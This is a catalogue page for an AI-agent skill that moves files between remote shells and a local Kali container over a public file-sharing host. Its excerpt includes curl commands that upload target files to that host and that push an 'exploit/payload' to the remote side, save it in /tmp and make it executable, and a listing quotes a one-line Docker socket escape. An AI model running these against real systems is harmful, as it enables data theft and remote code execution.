file-transfer

file-transfer is a skill for Claude Code from yhy0/CHYing-agent. It costs 28 tokens per session (2,537 once invoked), scanned A, original, MIT.

A file-transfer guide for moving files between remote sessions and local Docker containers. It uses a temporary file-sharing service when HTTPS access works, or splits files into base64 text chunks as a fallback.

In plain words
What is it for?
Use it to send files from SSH or web-terminal sessions to a local container, or return files from the container to the remote environment.
Why use it?
It provides a defined way to move files when the remote environment and local container cannot exchange files directly. It also includes checks for whether the transfer worked.

Skill for Claude Code

Written for Claude Code: installed under .claude/.

Good fit Use it to send files from SSH or web-terminal sessions to a local container, or return files from the container to the remote environment.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/yhy0/chying-agent/file-transfer
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add yhy0/CHYing-agent --skill file-transfer
Clone the repo
git clone --depth 1 https://github.com/yhy0/CHYing-agent

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for file-transfer

README.md
[![agentmods](https://agentmods.dev/badge/skills/yhy0/chying-agent/file-transfer.svg)](https://agentmods.dev/skills/yhy0/chying-agent/file-transfer)
Your own site
<a href="https://agentmods.dev/skills/yhy0/chying-agent/file-transfer"><img src="https://agentmods.dev/badge/skills/yhy0/chying-agent/file-transfer.svg" alt="Measured on agentmods" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,537 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Tool Misuse · line 17
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • high Tool Misuse · line 17
    Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
    Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
  • medium Data Exfiltration · line 17
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.02537
Opus 5 $0.00014 $0.01269
Sonnet 5 $0.00006 $0.00507
Haiku 4.5 $0.00003 $0.00254

Measured 8d ago against content hash 0212b0163caa, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

file-transfer scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php
agent-work/.claude/skills/file-transfer/SKILL.md · 235 lines

How it starts

The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.

File Transfer Skill

远程环境(web terminal、SSH session)与本地 Kali Docker 之间传输文件的标准流程。

外部中转服务:litterbox.catbox.moe。

Step 0:网络预检(必须先做)

在尝试任何传输前,先用一条命令检测出站 HTTPS 是否可达:

curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php
  • 返回 200 / 301 / 302 / 405 → 出站正常,使用 litterbox 方案
  • 返回空 / 000 / 超时 / connection refused → 出站被封,直接跳到「降级方案:base64 分块传输」,不要再尝试其他外部服务

如果远程没有 curl,用 python3 预检:

python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
r = urllib.request.urlopen('https://catbox.moe/', timeout=5, context=ctx)
print(r.status)
"

方案一:litterbox.catbox.moe 中转(出站正常时使用)

litterbox.catbox.moe 是临时文件分享服务,支持任意文件类型(包括裸二进制),无需注册。

上传 API

  • Endpoint: POST https://litterbox.catbox.moe/resources/internals/api.php
  • 必需字段:
    • reqtype=fileupload(固定值)
    • time=24h(过期时间,可选:1h12h24h72h
    • fileToUpload=@文件路径(要上传的文件)
  • 响应格式: 纯文本,直接返回下载 URL(不是 JSON)
  • 响应示例:
    https://litter.catbox.moe/q29poh.txt
    
  • 下载链接: 响应内容本身就是下载 URL,直接使用

远程 → 本地(最常见场景)

场景:远程环境有一个二进制文件需要传到本地 Docker 分析。

# Step 1: 记录 md5 用于验证
md5sum /path/to/binary

# Step 2: 在远程环境上传文件(直接支持二进制,无需压缩)
curl -k -F "reqtype=fileupload" -F "time=1h" -F "fileToUpload=@/path/to/binary" https://litterbox.catbox.moe/resources/internals/api.php
# 直接返回下载 URL,例如: https://litter.catbox.moe/abc123

# Step 3: 在本地 Docker 下载(URL 来自上一步返回的纯文本)
curl -k -s https://litter.catbox.moe/abc123 -o /root/agent-work/binary

# Step 4: 验证完整性
md5sum /root/agent-work/binary   # 必须与远程端一致

注意:上传响应就是下载 URL 纯文本,不需要 JSON 解析。如果终端输出被截断或看不到,重新上传一次并仔细捕获输出。

本地 → 远程

场景:本地生成的 exploit/payload 需要传到远程执行。

# Step 1: 在本地 Docker 上传
curl -k -F "reqtype=fileupload" -F "time=24h" -F "fileToUpload=@/root/agent-work/exploit" https://litterbox.catbox.moe/resources/internals/api.php
# 返回下载 URL

# Step 2: 在远程环境下载
curl -k -s https://litter.catbox.moe/xxxxx -o /tmp/exploit && chmod +x /tmp/exploit

Read the full file on GitHub · 235 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 235 lines · 28 tokens per session scan A 0212b0163caa

Subscribe to this mod's changes

file-transfer is a skill published in the GitHub repository yhy0/CHYing-agent (556 stars, last pushed 4mo ago), licensed MIT. It adds 28 tokens to every session and 2,537 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

deploy-docker-compose

Run the Omnigent server as a Docker compose stack (server + Postgres) on any Docker host — your laptop, a VPS, EC2 by hand, or as the base layer of any container-platform deploy. Invoke when the user wants to build the image, bring up the compose stack, debug the stack on a host they already have, or extend the stack…

omnigent-ai/omnigent · 84 tokens

compute-env-setup

Set up a reproducible Feynman compute environment for research jobs. Use when a task needs Python/R packages, GPU libraries, containers, Modal, SSH, caches, or managed model runtime setup.

companion-inc/feynman · 45 tokens

securing-kubernetes-on-cloud

This skill covers hardening managed Kubernetes clusters on EKS, AKS, and GKE by implementing Pod Security Standards, network policies, workload identity, RBAC scoping, image admission controls, and runtime security monitoring. It addresses cloud-specific security features including IRSA for EKS, Workload Identity for…

xalgorix/xalgorix · 80 tokens

detecting-privilege-escalation-in-kubernetes-pods

Detect and prevent privilege escalation in Kubernetes pods by monitoring security contexts, capabilities, and syscall patterns with Falco and OPA policies.

xalgorix/xalgorix · 40 tokens

implementing-rbac-hardening-for-kubernetes

Harden Kubernetes Role-Based Access Control by implementing least-privilege policies, auditing role bindings, eliminating cluster-admin sprawl, and integrating external identity providers.

xalgorix/xalgorix · 41 tokens

docker-socket-mount

Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via docker run --rm --privileged -v /:/host alpine chroot /host.

PurpleAILAB/Decepticon · 67 tokens